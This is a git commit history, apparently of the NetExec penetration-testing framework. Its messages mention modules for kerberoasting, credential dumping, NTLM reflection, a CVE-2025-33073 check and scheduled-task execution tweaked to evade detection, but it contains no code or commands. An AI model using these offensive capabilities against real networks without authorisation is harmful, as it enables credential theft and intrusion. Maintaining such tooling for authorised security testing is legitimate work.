Alex bb668cae65 Merge pull request #857 from Pennyw0rth/neff-add-certipy-find
Add certipy module with 'find' implementation
2025-10-05 11:59:54 -04:00
Alex 5c5f19b9fd Merge pull request #946 from Pennyw0rth/neff-fix-#945
Use SMBv1 in enum_host_info to get Windows version from smbv1
2025-10-05 08:54:55 -04:00
Alexander Neff ec05735933 Fix copilot solution where smbv1 could not be initialized anymore 2025-10-04 17:58:00 -04:00
Alexander Neff 5793ccc778 Fix logic bug where a connection would have been created if there is a timeout 2025-10-04 17:51:33 -04:00
Alexander Neff 19ed5d31e1 Integrate SMBv1 setup on first connection into create_conn_obj 2025-10-04 07:08:40 -04:00
Alexander Neff 5fe634ddc2 Use SMBv1 in connection info to get hostname from smbv1 2025-10-03 17:49:29 -04:00
tiagomanunes 1800062f31 Merge branch 'main' into module-usercredman 2025-10-02 16:45:43 +02:00
Joachim De Bats 76961df2fa better handling of RFB 3.3 2025-10-02 10:03:16 +02:00
crosscutsaw b3c34a931c Update dump-computers.py
added samaccountname fallback
2025-10-01 02:01:26 +03:00
Deft_ f77c6ae8d8 sed Encryption/EncryptionReq
sed Encryption/EncryptionReq

Signed-off-by: Deft_ <[email protected]>
2025-09-29 09:46:49 +02:00
Deft_ 8ebd935d11 Add encryption flag in enum_hosts
Signed-off-by: Deft_ <[email protected]>
2025-09-28 21:33:14 +02:00
Deft_ b2e97cb973 Merge branch 'main' into mssql_cbt_rework 2025-09-28 19:20:08 +02:00
Aurélien CHALOT 378a8b48bf Comply with Ruff 2025-09-28 19:17:15 +02:00
Aurélien CHALOT 2cab05041f Patch so that authent works anytime 2025-09-28 19:04:46 +02:00
Aurélien CHALOT 71d7ef0f3f Remove double : typo 2025-09-28 18:01:08 +02:00
Aurélien CHALOT 5bbad4e023 Add ChannelBinding computing for MSSQL 2025-09-28 17:49:25 +02:00
Alexander Neff 35e9afdbb8 Remove StringIO and remove impackets dump function calls 2025-09-28 11:21:32 -04:00
Alexander Neff bedb06a49a Remove StringIO 2025-09-28 11:20:27 -04:00
Alex 800bc5ec5e Merge pull request #938 from Dfte/dedent2
Striped
2025-09-28 09:39:16 -04:00
Aurélien CHALOT 08bb98d068 Striped 2025-09-28 15:31:42 +02:00
Alex d151912354 Merge pull request #937 from Dfte/dedent
Add dedent for easier reading
2025-09-28 09:28:48 -04:00
Alexander Neff 5ef5c7313a Remove unnecessary strip command 2025-09-28 09:26:16 -04:00
Aurélien CHALOT 81b724a71e Add dedent for easier reading 2025-09-28 15:04:04 +02:00
Tiago Nunes d27f1c207c Add exception handling around credential decryption 2025-09-28 11:48:42 +02:00
tiagomanunes c049826c98 Merge branch 'main' into module-usercredman 2025-09-28 09:45:40 +01:00
Alex 08207eef18 Merge pull request #935 from Dfte/ntlmreflection_path
[NTLM reflection] Fix false assumption over smb signing
2025-09-27 10:55:20 -04:00
Alexander Neff 1c77c6496f Typo 2025-09-26 13:08:52 -04:00
Aurélien CHALOT c77800b9eb fix typo 2025-09-26 18:09:32 +02:00
Aurélien CHALOT f45baf80dd Add modification info 2025-09-26 17:19:17 +02:00
Aurélien CHALOT aa5dc329f9 Fix false assumption over smb signing 2025-09-26 17:06:40 +02:00
azoxlpf e2d160bccc fix Ruff violations and normalize indentation 2025-09-26 09:28:19 +02:00
danwroy f11e848e6e Fix: auto-formatting removed, all edits from nxcdb.py removed 2025-09-25 20:56:06 -07:00
Alexander Neff 2c07e1d801 Formatting 2025-09-25 19:03:13 -04:00
Alexander Neff 98e86ea33e Merge branch 'main' into winrm_dpapi 2025-09-25 19:01:38 -04:00
Alex 6ba4427701 Merge branch 'main' into feat/raisechild 2025-09-25 18:46:11 -04:00
Alexander Neff 7de5c48492 Rename module back to certipy-find because this is the only function we want to integrate 2025-09-24 18:17:10 -04:00
Alexander Neff db887ac7b3 Fix certipy dependency name 2025-09-24 18:10:39 -04:00
Alexander Neff 8f72ddd6ca Add category for certipy-find 2025-09-24 18:10:21 -04:00
Alexander Neff 84b59d6c10 Merge branch 'main' into neff-add-certipy-find 2025-09-24 12:23:02 -04:00
Alex 0278b81c3b Merge pull request #932 from joaovarelas/main
enum_av module: add checkpoint indicators
2025-09-24 12:17:33 -04:00
joaovarelas b2e123417b enum_av module: add checkpoint indicators 2025-09-24 16:44:25 +01:00
Alex 32c1a4aff2 Merge pull request #908 from Dfte/schtaskas_certreq
Add certificate request options to schtask_as
2025-09-23 05:43:33 -04:00
Alexander Neff 002480462c Formatting 2025-09-21 12:32:38 -04:00
Alexander Neff 55f1581c8e Small error message adjustment 2025-09-21 12:31:12 -04:00
Alexander Neff 4c256884db Add more flexibility to account for possible attacker time skew and delete task even when erroring 2025-09-21 12:24:43 -04:00
Alexander Neff 5a756f1129 Add error output if schtask raises an exception 2025-09-21 12:23:49 -04:00
Alexander Neff 9bac586a49 Ensure ca_name arg has the correct format 2025-09-21 12:23:28 -04:00
Alex 7df74b90a5 Merge branch 'main' into schtaskas_certreq 2025-09-21 08:39:00 -04:00
Alex 9cf6f59f90 Merge pull request #929 from Dfte/fix_schtask_as
Fix missing ,
2025-09-21 08:34:15 -04:00
Alex 56da9afc63 Merge pull request #919 from Pennyw0rth/neff-allow-kerbroast-computers
Allow kerbroast computers
2025-09-21 08:28:57 -04:00
Aurélien CHALOT 4eadf3b5a0 Overall review 2025-09-21 10:33:08 +02:00
Aurélien CHALOT f1f0fba2dd Overall review 2025-09-21 10:28:21 +02:00
Aurélien CHALOT 509b238fb3 Overall review 2025-09-21 10:25:50 +02:00
Aurélien CHALOT 384f362579 Fix missing , 2025-09-20 21:14:06 +02:00
Alexander Neff 444e3ddb29 Properly format computer accounts for tgs roasting 2025-09-19 19:06:26 -04:00
Alexander Neff 393be37b92 Refactor tgs output 2025-09-19 14:41:21 -04:00
Alexander Neff 52858cd750 Ensure format of CA 2025-09-18 13:33:16 -04:00
Alex c689eb0978 Merge pull request #851 from azoxlpf/fix/nxdomain-duplicate-logs
Stop logging NXDOMAIN multiple times in DNS resolution
2025-09-18 12:07:40 -04:00
Alex 0bc8101eb7 Merge pull request #920 from Pennyw0rth/neff-fixes
Minor bug fixes
2025-09-17 09:47:42 -04:00
danwroy 4df95b4118 Changed print() statements to new print-only logging method (top-level files only)
Added formatting-free "print_msg" method to nxc_logger, with option to
print to log file
2025-09-17 04:10:53 -07:00
Alexander Neff f4bd6f8798 Formatting 2025-09-10 19:11:35 -04:00
Alexander Neff abd0c83ef7 Cast values to string in case bytes are returned 2025-09-10 19:07:26 -04:00
Alexander Neff 3bb18b4ee4 Add error handling for each input target in case the parsing fails for one file 2025-09-10 19:06:03 -04:00
Alexander Neff 30c2f23dcf Add SYSVOL share to exclusion list of scuffy 2025-09-10 19:05:32 -04:00
Alexander Neff e80654f980 Allow roasting computer accounts as well if specified 2025-09-10 12:49:17 -04:00
Marshall Hallenbeck 027e520824 Merge pull request #912 from Pennyw0rth/marshall-kerberoast-user-list-fix
Allow kerberoasting on specific users
2025-09-10 11:42:27 -05:00
Alexander Neff 58428af5ae Add record type to fail output 2025-09-09 20:17:58 -04:00
Marshall Hallenbeck 53fbac1279 Merge pull request #911 from azoxlpf/fix/ldap-dclist-hostname-kerberos
Resolve hostname to IP in dc_list when no --dns-server is given
2025-09-09 19:15:29 -05:00
Alex c24c2993c5 Merge pull request #918 from azoxlpf/fix/ntlm_reflection-transport-error
catch BrokenPipe and transport errors to prevent session crash
2025-09-10 01:25:27 +02:00
Alexander Neff 502236f0fc Formatting 2025-09-09 19:22:02 -04:00
Alexander Neff ae23596a2d Wrap critical parts into try&except 2025-09-09 19:20:51 -04:00
Alexander Neff cc7d8aa8f7 Wrap critical parts into try&except 2025-09-09 19:19:09 -04:00
Alexander Neff 5e2ec7326e Remove unused import 2025-09-09 18:42:25 -04:00
Alexander Neff b3b38d9e2a Move trigger_winreg to smb protocol 2025-09-09 18:41:30 -04:00
Alexander Neff f17cc9c502 Add debug log messages 2025-09-09 18:35:59 -04:00
Alex 9ab9989f27 Merge pull request #914 from azoxlpf/fix/webdav-transport-errors
fix(webdav): handle transport errors and prevent session crash
2025-09-09 23:29:47 +02:00
Alexander Neff d4b91f72ed Remove unnecessary returns 2025-09-09 16:39:57 -04:00
Alexander Neff 074309f2f2 Simplify logic 2025-09-09 16:38:04 -04:00
Alexander Neff 7b3debabab Use contextlib instead of empty try&except 2025-09-09 16:37:36 -04:00
azoxlpf bfd014f9d2 catch BrokenPipe and transport errors to prevent session crash 2025-09-08 17:45:45 +02:00
Marshall Hallenbeck a610adedc3 Merge pull request #887 from Pennyw0rth/issues-881
fix(enum_ca): properly return false if theres an error with fetchList
2025-09-08 09:31:46 -04:00
azoxlpf e3ef313e34 remove null session skip 2025-09-08 14:58:48 +02:00
Alex d0ea79a199 Merge pull request #916 from Pennyw0rth/neff-enforce-category
Enforce that category is one of the enums
2025-09-08 12:51:28 +02:00
Alexander Neff 47ec489a93 Enforce that category is one of the enums 2025-09-08 04:11:38 -04:00
Alexander Neff 011fc0d9dd Merge branch 'main' into issues-881 2025-09-08 04:07:26 -04:00
Alexander Neff 1fe2240018 Remove return values and add module options text 2025-09-08 04:03:50 -04:00
Aurélien CHALOT f7c12ef462 s/successs/debug/d 2025-09-08 09:46:56 +02:00
Alex da4a846f7f Merge pull request #909 from azoxlpf/fix/maq-null-session-crash 2025-09-08 00:02:19 +02:00
Alexander Neff 9ba651c3e8 Simplify maq code 2025-09-07 17:37:53 -04:00
azoxlpf f4b6fb5c0b rename on_login to on_admin_login 2025-09-07 18:53:57 +02:00
Azox 847192c62d Merge branch 'main' into feat/raisechild
Signed-off-by: Azox <[email protected]>
2025-09-07 18:29:11 +02:00
azoxlpf f89de1c617 Update code to follow new module conventions 2025-09-07 18:22:24 +02:00
azoxlpf d2f6a33587 fix(webdav): handle transport errors and prevent session crash 2025-09-04 11:14:56 +02:00
azoxlpf 7507b238f0 add --dc-list to the e2e tests 2025-09-03 20:50:27 +02:00
Marshall Hallenbeck ca52cc099f feat(kerberoast): move get_conditional_action to helper and implement specific user kerberoasting 2025-09-03 13:40:57 -04:00
Alex e434ec0fea Merge pull request #905 from Mauriceter/CVE-2025-33073 2025-09-03 17:41:22 +02:00
Alex 8348fbdb32 Merge pull request #586 from Mauriceter/sccm-winreg 2025-09-03 17:41:05 +02:00
azoxlpf da1b65f1aa use parse_result_attributes and simplify result parsing 2025-09-03 16:58:19 +02:00
azoxlpf eb38cd940e fix: resolve hostname to IP in dc_list when no --dns-server is given 2025-09-03 13:57:55 +02:00
azoxlpf b10b30736d Fixing indentation 2025-09-03 11:44:08 +02:00
azoxlpf acadc4b41f avoid crash when LDAP search returns no result 2025-09-03 10:48:34 +02:00
Aurélien CHALOT bb5cb3f25e Initialize empty self.ca_name and self.template_name 2025-09-02 15:39:07 +02:00
Aurélien CHALOT a94d9d2a45 Add certificate request options to schtask_as 2025-09-02 14:03:01 +02:00
Alex c13aba6a24 Merge pull request #907 from SGMG11/schtasks_silent 2025-09-02 01:32:37 +02:00
Alexander Neff a2d489dc48 Don't display show_output twice 2025-09-01 11:00:44 -04:00
Alexander Neff a0375cb592 Use boolean check instead of string 2025-09-01 11:00:32 -04:00
Alexander Neff 5d23fb1012 Merge branch 'main' into schtask_silent 2025-09-01 10:54:01 -04:00
Alexander Neff 08db720176 Linting 2025-09-01 10:51:45 -04:00
Alexander Neff 3efb829eec Add module category 2025-09-01 10:43:54 -04:00
Alexander Neff 857cb479e6 Merge branch 'main' into ntlm_reflection 2025-09-01 10:43:36 -04:00
Alexander Neff 47f90aa50c Improve module description 2025-09-01 10:40:53 -04:00
Joachim De Bats c564a31435 indentation issue 2025-09-01 16:24:45 +02:00
Alexander Neff b80a5a041c Readd signing check for database site 2025-09-01 10:14:51 -04:00
Alexander Neff c751ede184 Don't display rpc_access_denied because of too much output of large ranges 2025-09-01 09:50:31 -04:00
Alexander Neff 48a799750b Rename module 2025-09-01 09:50:03 -04:00
Alexander Neff 5f8ac2c89d Rename module, improve descr and correct takeover report 2025-09-01 09:48:38 -04:00
Alexander Neff db7c590e4f Simplify reg queries 2025-09-01 09:38:03 -04:00
Alexander Neff 3860ba71c9 Simplify reg queries 2025-09-01 08:22:21 -04:00
Joachim De Bats 1a846462ae updating module name 2025-09-01 09:29:36 +02:00
Alexander Neff b37c657b79 Use existinig smb connection to get signing requirements 2025-08-31 15:55:55 -04:00
Alexander Neff df224851c6 Add enumeration category 2025-08-31 15:55:40 -04:00
Alex 7cecb45019 Merge branch 'main' into sccm-winreg 2025-08-31 21:49:21 +02:00
mpgn 2f62843e41 Merge pull request #877 from Pennyw0rth/passpool 2025-08-31 21:40:20 +02:00
Alexander Neff ae8fc4633b Merge branch 'main' into passpool 2025-08-31 15:31:24 -04:00
Alexander Neff 5789296631 Formatting 2025-08-31 15:25:10 -04:00
Alex 6e7edbd60f Merge pull request #859 from Pennyw0rth/neff-add-module-categories
Add module categories
2025-08-31 17:27:46 +02:00
Alexander Neff 0bcafedb46 Linting 2025-08-31 10:11:56 -04:00
Alexander Neff d296737398 Add category for lockscreendoors module 2025-08-31 10:10:19 -04:00
Alexander Neff 35e3219ce5 Functionalise and extract module displaying logic 2025-08-31 10:08:04 -04:00
Alexander Neff e0f5097ae1 Resolve merge conflicts 2025-08-30 21:06:52 -04:00
Alex 6c482cdd0e Merge pull request #866 from rtpt-romankarwacik/simple_efs_activator
Remove efsr_spray module, superceded by simply using EPM map on the EFS interface
2025-08-31 02:55:33 +02:00
Alexander Neff e428bcc788 Move function 2025-08-30 20:45:49 -04:00
Alexander Neff d6609ae8a3 Sorted win list 2025-08-30 19:14:02 -04:00
Marshall Hallenbeck cc01381c0a feat(ldap): display group description for --groups 2025-08-29 10:46:55 -04:00
Joachim De Bats cff422c6f5 ruff 2025-08-29 16:00:45 +02:00
Joachim De Bats 71b5742d63 unhappy ruff 2025-08-29 15:50:50 +02:00
Alex 882e93fc6a Merge pull request #830 from 0xb11a1/add-tests-ntds-dump-raw
Fix poetry run pytest & adding tests to ntds-dump-raw module
2025-08-29 13:54:44 +02:00
Joachim De Bats b295bb23bd adding test in e2e _commands.txt 2025-08-29 11:26:48 +02:00
Mauriceter 1272f12e1c Merge branch 'Pennyw0rth:main' into CVE-2025-33073 2025-08-29 10:57:56 +02:00
Joachim De Bats 7d3e48d0af new module cve-2025-33073 2025-08-29 10:52:35 +02:00
Joachim De Bats 900fa08989 new module ntlm reflexion 2025-08-29 10:44:05 +02:00
Joachim De Bats c5044f8aec sccmrecon commit 2025-08-29 09:49:35 +02:00
Mauriceter 4588dc605c Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-08-29 09:43:44 +02:00
SGMG11 304c8fa6e0 Updated schtasks_as.py to control if output will be provided
Signed-off-by: SGMG11 <[email protected]>
2025-08-28 09:09:09 +02:00
Alex 864c88bc6a Merge pull request #904 from lodos2005/patch-3
Unnecessary file
2025-08-27 20:43:34 +02:00
Hakan Yavuz 7589e124dd An unnecessary file left over from GOAD Lab. 2025-08-27 21:32:58 +03:00
Alexander Neff 1261782177 Remove unnecessary new line in imports 2025-08-26 17:53:42 -04:00
mpgn 509f31f4d6 update passpol 2025-08-25 23:28:06 +02:00
mpgn d6e0607ed0 update passpol 2025-08-25 23:25:55 +02:00
Alex d4c38ead3c Merge pull request #901 from Pennyw0rth/neff-fix-879
Fix 879
2025-08-24 19:48:33 +02:00
Alexander Neff a050a59eab Remove unnecessary try&except and return statements 2025-08-24 12:30:43 -04:00
Alexander Neff 915a68395a Don't close connection after running the module 2025-08-24 12:30:14 -04:00
Alexander Neff fa27fa793b Add module option text 2025-08-24 12:29:40 -04:00
Marshall Hallenbeck ccac581646 Remove debug log for DNS server in resolve_hostname
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-08-24 10:20:06 -04:00
Marshall Hallenbeck 39d63882ce refactor(dc_list): clean up code 2025-08-24 10:20:06 -04:00
Marshall Hallenbeck f0c9365f47 fix(dc_list): disable automatic configuration of DNS so we can override it to point to target; fixes #873 2025-08-24 10:20:06 -04:00
Marshall Hallenbeck 0ba9368004 fix(printnightmare): do not exit thread on failure to bind so other modules can run; fixes 882 2025-08-24 10:19:06 -04:00
Alex 911e3656f4 Merge pull request #900 from Pennyw0rth/neff-fix-anon-auth-badsuccessor
Refactor to use internal ldap search function to prevent stack traces
2025-08-24 16:08:14 +02:00
Alex 97e056e714 Merge pull request #899 from Pennyw0rth/neff-fix-anon-auth-gmsa
Fix stacktrace with anon auth and using gmsa
2025-08-24 16:08:07 +02:00
Alex 3331db779b Merge pull request #898 from Pennyw0rth/neff-update-aardwolf
Fix aardwolf logging
2025-08-24 16:08:02 +02:00
Alexander Neff 80481fb685 Refactor to use internal ldap search function to prevent stack traces 2025-08-24 09:11:10 -04:00
Alexander Neff 206ba91e68 Fix anon auth and gmsa module by using internal search function 2025-08-24 08:30:47 -04:00
Alexander Neff 64c3c25fcc Fix aardwolf logging 2025-08-24 07:56:30 -04:00
mpgn 486fc20493 update passpol 2025-08-23 19:36:07 +02:00
Alex d2da64e7b3 Merge pull request #863 from adityatelange/adityatelange-patch-1 2025-08-23 16:38:22 +02:00
Marshall Hallenbeck cb450cd5d9 Merge pull request #876 from Pennyw0rth/issues-874
fix(ldap): return False for general OS errors
2025-08-23 10:35:05 -04:00
Alexander Neff 0b8b577421 Improve error messages 2025-08-23 09:02:48 -04:00
Alexander Neff 9f636c9504 Move ldap information gathering to enum_host_info 2025-08-23 08:58:28 -04:00
Alex a1ccb90065 Merge pull request #867 from P4cm4n90/patch-1
Update gpp_password.py
2025-08-23 13:39:08 +02:00
Alexander Neff d28f447c58 Add module option text 2025-08-23 07:28:09 -04:00
Marshall Hallenbeck c5bb5a2692 fix(enum_ca): properly return false if theres an error with fetchList; also ruff fix for return None 2025-08-21 11:40:47 -04:00
Roman Karwacik 81c6d9fb63 move get_dynamic_endpoint to NXCModule 2025-08-21 09:03:26 +02:00
mpgn 824dbffd12 add test 2025-08-20 23:33:18 +02:00
mpgn c5792dbbc6 fix ruff 2025-08-20 23:30:59 +02:00
mpgn 52ca6347fd add ldap pass-pol option #868 2025-08-20 23:27:24 +02:00
Marshall Hallenbeck 9b8e7534a8 fix(ldap): return False for general OS errors 2025-08-20 14:31:08 -04:00
Roman Karwacik eadd3a1b90 fix ruff errors 2025-08-20 15:36:00 +02:00
Roman Karwacik ecbbb9a4d7 add placeholder with [REMOVED] description 2025-08-20 15:29:47 +02:00
Damian 08627beed9 Update gpp_password.py
The gpp_password accepts only share's name "SYSVOL". When openldap is used, the original SYSVOL share can named in lowercase manner - for example "sysvol".

The fix introduces treating "SYSVOL" share name as case-insensitive.

Signed-off-by: Damian <[email protected]>
2025-08-20 12:02:55 +02:00
Roman Karwacik 2a5d0f0e24 Remove efsr_spray module, superceded by simply using EPM map on the EFS interface before using the coercion methods 2025-08-20 11:03:21 +02:00
Alexander Neff 084d048712 Change module categories 2025-08-19 13:27:32 -04:00
Alexander Neff 7dad6d7697 Switch user-desc module to credential dumping 2025-08-19 13:16:56 -04:00
Alexander Neff f90e648f7e Fix listing modules without IP 2025-08-19 12:57:57 -04:00
Alexander Neff 013f0ecbf9 Formatting 2025-08-19 12:55:28 -04:00
Aditya Telange 5a44e466d3 Show message when krb conf is saved. Help user to export it as a kerberos understandable variable
Signed-off-by: Aditya Telange <[email protected]>
2025-08-19 21:37:23 +05:30
Mickey De Baets 1b8066bc25 Merge branch 'main' into main 2025-08-19 12:30:13 +02:00
mpgn 8af4bfa626 Merge pull request #856 from Pennyw0rth/guest 2025-08-17 22:07:26 +02:00
tiagomanunes d3d6697eb4 Merge branch 'main' into module-usercredman 2025-08-17 11:11:36 +01:00
Alex 5f29dd0779 Merge pull request #858 from Z4kSec/main
Update Masky module to 0.2.1 (fix warning message)
2025-08-16 22:24:11 +02:00
Alexander Neff 441badbced Fix lock file 2025-08-16 16:17:48 -04:00
Alexander Neff 86ac49caf7 Merge branch 'main' into masky 2025-08-16 16:17:35 -04:00
Alexander Neff 88684dc175 Fix lock file 2025-08-16 16:16:51 -04:00
Alexander Neff 3a580c7008 Update masky 2025-08-16 16:14:32 -04:00
Alexander Neff 390eda3cba Recategorize modules 2025-08-16 15:52:29 -04:00
Alexander Neff 4b1b9b6b69 Add category filtering to module listing 2025-08-16 15:19:51 -04:00
Alexander Neff 652fc12253 Categorize modules 2025-08-16 15:10:22 -04:00
Alexander Neff ac7446badb Add category to modules 2025-08-16 15:07:26 -04:00
Alex ac85127877 Merge pull request #837 from E1A/main
Added the lockscreendoors module
2025-08-16 21:01:10 +02:00
Alexander Neff 9bde648867 Add CATEGORY enum 2025-08-16 13:02:55 -04:00
Alexander Neff b06316fde0 Add 'No options available' to the module and the example module 2025-08-16 09:47:03 -04:00
Alexander Neff db665c096a Don't skip silently, bug provide a debug log 2025-08-16 09:44:26 -04:00
Alexander Neff da7cb78942 Formatting and remove unnecessary check 2025-08-16 09:33:13 -04:00
Alexander Neff 4546db892a Add debug log on parsing errors 2025-08-16 09:32:51 -04:00
Alexander Neff 9ae0aecc33 Formatting 2025-08-16 09:25:10 -04:00
Alexander Neff 8bb47665e7 Formatting 2025-08-16 09:22:20 -04:00
Zak dccc7ef5f1 Merge branch 'Pennyw0rth:main' into main 2025-08-16 15:11:02 +02:00
Z4kSec 05fa63d1be Update Masky module to 0.2.1 2025-08-16 13:02:13 +00:00
Alexander Neff 913605ba22 Rename module to 'certipy' so it is expandable in the future 2025-08-16 08:06:12 -04:00
mpgn be20d01990 Merge pull request #676 from Adamkadaban/rdp-exec 2025-08-16 00:43:11 +02:00
Alexander Neff 7483a15da3 Only apply arg check on rdp proto so it doesn't crash on others 2025-08-15 17:33:10 -04:00
Alexander Neff 33a82c565a Mute unicrypto logger and set log level of asyncio to error 2025-08-15 17:29:07 -04:00
Alexander Neff 19a51f543c Mute aardwolf logger and increase cmd-timeout to 5 2025-08-15 16:46:05 -04:00
Alexander Neff 60dea2fb19 Add error output if command failed 2025-08-15 15:18:11 -04:00
Alexander Neff 1ce655ddbf Merge branch 'main' into rdp-exec 2025-08-15 13:23:29 -04:00
Alexander Neff eff606d00f Make warning more accurate 2025-08-15 13:22:55 -04:00
Alex 82b0f973f5 Merge pull request #721 from Kahvi-0/main
Update schtask_as.py to help bypass detection
2025-08-15 19:13:24 +02:00
Alexander Neff 4ce75c0e50 Add unique identifier to filename 2025-08-15 13:13:06 -04:00
Alexander Neff 33ecbe207a Formatting 2025-08-15 13:02:49 -04:00
Alexander Neff ef5c65cabb No unecessary return values 2025-08-15 12:54:10 -04:00
Alexander Neff 30806ee975 Fix description and ensure output path has backslashes 2025-08-15 12:53:56 -04:00
Kahvi-0xFF f99e8ccac0 Merge branch 'main' into main 2025-08-15 10:27:39 -04:00
Alexander Neff 8be0509ef1 Add description 2025-08-15 09:53:41 -04:00
Alexander Neff dd166c86fb Add certipy-find module 2025-08-15 09:51:11 -04:00
Alexander Neff adc83b717e Add Certipy dep 2025-08-15 09:49:30 -04:00
Alexander Neff c9b0edba74 Disable certipy logger 2025-08-15 09:49:08 -04:00
mpgn 020e5a12b9 check guest not default 2025-08-14 23:21:37 +02:00
mpgn d117df7b83 fix ruff 2025-08-14 23:19:29 +02:00
mpgn 404f17be64 add guest check on recon 2025-08-14 23:16:45 +02:00
mpgn 074824423c add warning before running x command 2025-08-14 17:36:14 +02:00
mpgn 05d15a9750 Merge pull request #846 from fulc2um/enum_inet
[SMB] Added new smb module to enumerate active network interfaces over SMB
2025-08-14 16:45:28 +02:00
fulc2um e542fd6eb1 modified test command 2025-08-14 10:43:16 -04:00
fulc2um d9de4db59f renamed file and module 2025-08-14 10:41:45 -04:00
fulc2um 8a4c29de0e Merge branch 'main' into enum_inet 2025-08-14 10:06:36 -04:00
Alex 7e7d447e56 Merge pull request #855 from Pennyw0rth/typo
Fix typo
2025-08-14 16:04:47 +02:00
Alexander Neff b0fd02b4ec Fix typo 2025-08-14 09:26:40 -04:00
fulc2um c71a8688d6 Merge branch 'main' into enum_inet 2025-08-14 08:57:23 -04:00
mpgn 9784c2c58c Merge pull request #853 from Pennyw0rth/dc 2025-08-14 08:45:24 +02:00
Alexander Neff b2d960c566 Update impacket 2025-08-13 17:38:55 -04:00
Alexander Neff d2f7140eab Remove ntds dump warning 2025-08-13 17:32:40 -04:00
mpgn 00e19a1ded Merge branch 'main' into dc
Signed-off-by: mpgn <[email protected]>
2025-08-13 21:10:26 +02:00
mpgn 1a1993f7e9 update poetry lock 2025-08-13 21:05:48 +02:00
Kahvi-0xFF 84af17f78c Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 11:15:18 -04:00
Kahvi-0xFF 85c4edc780 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 11:14:34 -04:00
Kahvi-0xFF 90c206f0fe Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:47:20 -04:00
Kahvi-0xFF 4c8e8f0585 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:38:02 -04:00
Kahvi-0xFF 1aa997f43b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:37:40 -04:00
Kahvi-0xFF 086fad7cb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:31:47 -04:00
Kahvi-0xFF f1c2840957 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:30:59 -04:00
Kahvi-0xFF 51ac6d6408 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 17:16:05 -04:00
Kahvi-0xFF 4e380b46a1 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 13:00:08 -04:00
Kahvi-0xFF edb6f90116 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 12:57:55 -04:00
Kahvi-0xFF 4c4f3b99b9 Merge branch 'Pennyw0rth:main' into main 2025-08-12 12:57:22 -04:00
fulc2um 6f3c5bc6bf Merge branch 'main' into enum_inet 2025-08-12 12:46:18 -04:00
azoxlpf a37feba363 Stop logging NXDOMAIN multiple times in DNS resolution 2025-08-12 17:52:54 +02:00
Alex dbb05457be Merge pull request #850 from Pennyw0rth/neff-fix-issue-template 2025-08-12 11:01:09 +02:00
Alexander Neff 8f10f9ede6 Fixing the bug report issue template, currently not present on github 2025-08-11 19:45:11 -04:00
fulc2um d1ed5073d7 Merge branch 'main' into enum_inet 2025-08-11 09:26:02 -04:00
Alex 8edaf13af1 Merge pull request #847 from A3-N/feat/mssql-database-table-list
Add --database option to MSSQL protocol
2025-08-11 14:59:12 +02:00
Alexander Neff 30cf67159e Remove mutually exclusive group and multichar-singledash option 2025-08-11 08:52:29 -04:00
Adriaan Bosch 006ad7c6d8 mssql: add -db short option for --database
Signed-off-by: Adriaan Bosch <[email protected]>
2025-08-11 09:23:55 +02:00
fulc2um 3d8be59ee5 edited comment 2025-08-10 17:52:26 -04:00
Alexander Neff 18ba7dba6e Revert metavar for query 2025-08-10 11:54:13 -04:00
Alex 1477b49450 Merge branch 'main' into feat/mssql-database-table-list 2025-08-10 17:49:22 +02:00
fulc2um ee75c4316a Merge branch 'main' into enum_inet 2025-08-10 09:36:21 -04:00
Alex cb0f1259f5 Merge pull request #833 from gatariee/feat-lsassy
added `DUMP_TICKETS` flag to lsassy module
2025-08-10 14:37:59 +02:00
Alexander Neff 051bc34f41 Add defaults and linting 2025-08-10 08:18:10 -04:00
Alex 0e9d3e5c9b Merge branch 'main' into feat-lsassy 2025-08-10 14:17:01 +02:00
adriaan.bosch 6402ac16a5 fix: remove _exec wrapper, run ruff fixes 2025-08-10 13:01:36 +02:00
fulc2um abe3dfc054 Restored removed import of rrp 2025-08-09 18:15:20 -04:00
fulc2um e46a962671 Switched --interfaces to execute using FSCTL_QUERY_NETWORK_INTERFACE_INFO and enum_inet (requires admin) to remote registry 2025-08-09 18:10:51 -04:00
adriaan.bosch e8f8d7e90e mssql: add --database flag to list databases or tables in a named DB 2025-08-09 17:05:34 +02:00
gatari a742bce516 changed some defaults 2025-08-09 06:43:17 -04:00
tiagomanunes c2731fb985 Merge branch 'main' into module-usercredman 2025-08-09 09:53:29 +01:00
fulc2um 0db3d64d59 Merge branch 'main' into enum_inet 2025-08-08 16:19:45 -04:00
Alexander Neff 486f47a6b7 Linting 2025-08-07 14:44:20 -04:00
Alex e3520135a5 Merge branch 'main' into rdp-exec 2025-08-07 20:18:21 +02:00
Alex 83b71487cf Merge pull request #824 from MaxToffy/reg-sessions
Add --reg-sessions option to SMB protocol
2025-08-07 18:24:41 +02:00
fulc2um 782f476e33 Added new module to enumerate active network interfaces over SMB 2025-08-06 14:01:41 -04:00
Kahvi-0xFF daa37dd9f6 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:06:29 -04:00
Kahvi-0xFF bc593ecb4c Fresh atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:04:09 -04:00
Kahvi-0xFF 7f037d79bd Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:03:35 -04:00
Kahvi-0xFF 5a226988cb Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:02:57 -04:00
Kahvi-0xFF 1440a6bf1e Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:01:32 -04:00
Kahvi-0xFF ca9847cf61 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:59:28 -04:00
Kahvi-0xFF df087a7444 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:58:45 -04:00
